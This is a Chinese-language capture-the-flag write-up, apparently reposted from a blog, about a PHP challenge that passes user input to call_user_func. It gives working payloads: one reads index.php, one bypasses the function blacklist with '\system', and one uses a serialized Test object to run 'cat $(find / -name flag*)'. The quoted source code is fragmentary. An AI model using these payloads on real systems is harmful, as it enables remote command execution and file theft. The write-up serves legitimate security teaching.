目录
信息收集
抓个包,发现POST传入以下内容
func=date&p=Y-m-d+h%3Ai%3As+a
func和p的值分别为一个待执行的函数和函数的参数
构造payload
尝试func=phpinfo&p= 回显 Hacker... 说明对该函数进行了过滤
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'phpinfo()' not found or invalid function name in /var/www/html/index.php on line 24
回显发现有个/var/www/html/index.php,尝试读取该文件
常见的读取文件的函数
构造payload
func=readfile&p=index.php
func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
方法一:in_array()函数绕过
func=\system&p=cat $(find / -name flag*)
方法二:反序列化漏洞利用
未禁用 unserialize,我们可以通过call_user_func来unserialize反序列化构建出Test类,当类被回收时执行gettime函数,通过控制类中p和func的值配合call_user_func实现命令执行。
call_user_func()函数,会对我们传入的参数进行命令(代码)执行
system("find / -name flag*"):查找所有文件名匹配flag*的文件
system("cat $(find / -name flag)"):打印所有文件名匹配flag*的文件
func != "") { echo gettime($this->func, $this->p); } }}$a = new Test();echo serialize($a); ?>
payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
来源地址:https://blog.csdn.net/qq_63701832/article/details/128597385